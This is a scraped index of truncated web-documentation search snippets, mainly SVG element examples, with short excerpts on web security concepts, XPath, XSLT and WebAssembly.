html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- using g to inherit presentation attributes --> <g fill="white" stroke="green" stroke-width="5"> <circle cx="40" cy="40" r="25" /> <circle cx="60" cy="60" r="25" /> </g> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id, tabindex styling attributes class, style conditional processing attributes most notably: requiredexten...
<hatch> - SVG: Scalable Vector Graphics
WebSVGElementhatch
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<hatchpath> - SVG: Scalable Vector Graphics
WebSVGElementhatchpath
example svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <hatch id="hatch" hatchunits="userspaceonuse" pitch="5" rotate="135"> <hatchpath stroke="#a080ff" stroke-width="2"/> </hatch> </defs> <rect fill="url(#hatch)" stroke="black" stroke-width="2" x="10%" y="10%" width="80%" height="80%" /> </svg> result ...
<image> - SVG: Scalable Vector Graphics
WebSVGElementimage
example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status comment scalable vector graphics (svg) 2the definition of '<image>' in that specification.
<line> - SVG: Scalable Vector Graphics
WebSVGElementline
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> <!-- if you do not specify the stroke color the line will not be visible --> </svg> attributes x1 defines the x-axis coordinate of the line starting point.
<linearGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes gradientunits this attribute defines the coordinate system ...
<mask> - SVG: Scalable Vector Graphics
WebSVGElementmask
html,body,svg { height:100% } <svg viewbox="-10 -10 120 120"> <mask id="mymask"> <!-- everything under a white pixel will be visible --> <rect x="0" y="0" width="100" height="100" fill="white" /> <!-- everything under a black pixel will be invisible --> <path d="m10,35 a20,20,0,0,1,50,35 a20,20,0,0,1,90,35 q90,65,50,95 q10,65,10,35 z" fill="black" /> </mask> <polygon points="-10,110 110,110 110,-10" fill="orange" /> <!-- with this mask applied, we "punch" a heart shape hole into the circle --> <circle cx="50" cy="50" r="50" mask="url(#mymask)" /> </svg> attributes height this attribute defines the heig...
<path> - SVG: Scalable Vector Graphics
WebSVGElementpath
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z"/> </svg> attributes d this attribute defines the shape of the path.
<radialGradient> - SVG: Scalable Vector Graphics
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient.
<rect> - SVG: Scalable Vector Graphics
WebSVGElementrect
html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- simple rectangle --> <rect width="100" height="100" /> <!-- rounded corner rectangle --> <rect x="120" width="100" height="100" rx="15" /> </svg> attributes x the x coordinate of the rect.
<set> - SVG: Scalable Vector Graphics
WebSVGElementset
html,body,svg { height:100%; margin:0; padding:0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> rect { cursor: pointer } .round { rx: 5px; fill: green; } </style> <rect id="me" width="10" height="10"> <set attributename="class" to="round" begin="me.click" dur="2s" /> </rect> </svg> attributes to this attribute defines the value to be applied to the target attribute for the duration of the animation.
<stop> - SVG: Scalable Vector Graphics
WebSVGElementstop
html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="mygradient" gradienttransform="rotate(90)"> <stop offset="5%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </lineargradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes offset this attribute defines where the gradient stop is placed along the gradient vector.
<style> - SVG: Scalable Vector Graphics
WebSVGElementstyle
html,body,svg { height:100%; margin: 0; padding: 0; } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <style> circle { fill: gold; stroke: maroon; stroke-width: 2px; } </style> <circle cx="5" cy="5" r="4" /> </svg> attributes type this attribute defines type of the style sheet language to use as a media type string.
<svg> - SVG: Scalable Vector Graphics
WebSVGElementsvg
html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires.
<textPath> - SVG: Scalable Vector Graphics
WebSVGElementtextPath
html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <!-- to hide the path, it is usually wrapped in a <defs> element --> <!-- <defs> --> <path id="mypath" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <!-- </defs> --> <text> <textpath href="#mypath"> quick brown fox jumps over the lazy dog.
<title> — the SVG accessible name element - SVG: Scalable Vector Graphics
WebSVGElementtitle
html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <circle cx="5" cy="5" r="4"> <title>i'm a circle</title> </circle> <rect x="11" y="1" width="8" height="8"> <title>i'm a square</title> </rect> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event at...
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
html,body,svg { height:100% } <svg viewbox="0 0 240 40" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana!
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <circle id="mycircle" cx="5" cy="5" r="4" stroke="blue"/> <use href="#mycircle" x="10" fill="blue"/> <use href="#mycircle" x="20" fill="white" stroke="red"/> <!-- stroke="red" will be ignored here, as stroke was already set on mycircle.
Other content in SVG - SVG: Scalable Vector Graphics
this means, that you can use clips, masks, filters, rotations and all other tools of svg on the content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/> </svg> screenshotlive sample embedding arbitrary xml since svg is an xml application, you can of course always embed arbitrary xm...
SVG image element - SVG: Scalable Vector Graphics
in this basic example, a .jpg image referenced by an href attribute will be rendered inside an svg object: <?xml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0.
Mixed content - Web security
the mixed content resource that was loaded via http will show up in red, along with the text "mixed content", which links to this page.
Referer header: privacy and security concerns - Web security
for example, consider a "reset password" page with a social media link in a footer.
Features restricted to secure contexts - Web security
getusermedia() restricted to secure contexts in chrome 47 temporary access available only (users cannot choose "remember this decision" in the permission request dialog).
Secure contexts - Web security
if (window.issecurecontext) { // page is a secure context so service workers are now available navigator.serviceworker.register("/offline-worker.js").then(function () { ...
Transport Layer Security - Web security
despite the fact that the web now uses tls for encryption, many people still refer to it as "ssl" out of habit.
HTML Imports - Web Components
you import an html file by using a <link> tag in an html document like this: <link rel="import" href="myfile.html"> the import link type is new.
document - XPath
since the uri is relative to the xsl document, document("") would return the root node of the current document.
false - XPath
WebXPathFunctionsfalse
notes this function is useful part of a comparison: <xsl:if test="boolean((1 &gt; 2) = false())"> the expression evaluates as true </xsl:if> defined xpath 1.0 4.3 gecko support supported.
lang - XPath
WebXPathFunctionslang
given this fragment of xml: <p xml:lang="en">i went up a floor.</p> <p xml:lang="en-gb">i took the lift.</p> <p xml:lang="en-us">i rode the elevator.</p> and this part of an xsl template: <xsl:value-of select="count(//p[lang('en')])" /> <xsl:value-of select="count(//p[lang('en-gb')])" /> <xsl:value-of select="count(//p[lang('en-us')])" /> <xsl:value-of select="count(//p[lang('de')])" /> the output might be: 3 1 1 0 defined xpath ...
not - XPath
WebXPathFunctionsnot
<xsl:for-each match="//a[not(@name and @name = 'badname')]"> <!-- iterates over any <a> element in the document, that either has no 'name' attribute at all, or it has one, but its value is not "badname".
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
often times stylesheets contain code like <xsl:text disable-output-escaping="yes">&nbsp;</xsl:text>, this is equivalent to simply putting &#160; in the stylesheet which will work great in all xslt engines.
<xsl:choose> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementchoose
syntax <xsl:choose> <xsl:when test="[whatever to test1]"></xsl:when> <xsl:when test="[whatever to test2]"></xsl:when> <xsl:otherwise></xsl:otherwise> [optional] </xsl:choose> required attributes none.
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElement
for example, assume that a variable "image-dir" is defined as follows: <xsl:variable name="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a descript...
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
as of 7.0, method="text" works as expected.
Setting Parameters - XSLT: Extensible Stylesheet Language Transformations
figure 7 : parameters /* xslt: <xsl:param name="myorder" /> */ // javascript: var sortval = xsltprocessor.getparameter(null, "myorder"); if (sortval == "" || sortval == "descending") xsltprocessor.setparameter(null, "myorder", "ascending"); else xsltprocessor.setparameter(null, "myorder", "descending"); ...
XSLT: Extensible Stylesheet Language Transformations
WebXSLT
although the process is referred to as "transformation," the original document is not changed; rather, a new xml document is created based on the content of an existing document.
Caching compiled WebAssembly modules - WebAssembly
const wasmcacheversion = 1; instantiatecachedurl(wasmcacheversion, 'test.wasm').then(instance => console.log("instance says the answer is: " + instance.exports.answer()) ).catch(err => console.error("failure to instantiate: " + err) ); you can find the source code for this example on github as indexeddb-cache.html (see it live also).
WebAssembly Concepts - WebAssembly
the emscripten tool is able to take just about any c/c++ source code and compile it into a .wasm module, plus the necessary javascript "glue" code for loading and running the module, and an html document to display the results of the code.
Exported WebAssembly functions - WebAssembly
an example let's look at an example to clear things up (you can find this on github as table-set.html; see it running live also, and check out the wasm text representation): var othertable = new webassembly.table({ element: "anyfunc", initial: 2 }); webassembly.instantiatestreaming(fetch('table.wasm')) .then(obj => { var tbl = obj.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 othertable.set(0,tbl.get(0)); othertable.set(1,tbl.get(1)); console.log(othertable.get(0)()); console.log(othertable.get(1)()); }); here we create a table (othertable) from javascript us...
Converting WebAssembly text format to wasm - WebAssembly
a first look at the text format let’s look at a simple example of this — the following program imports a function called imported_func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i ) ) the webassembly function exported_func is exported for use in our environment (e.g.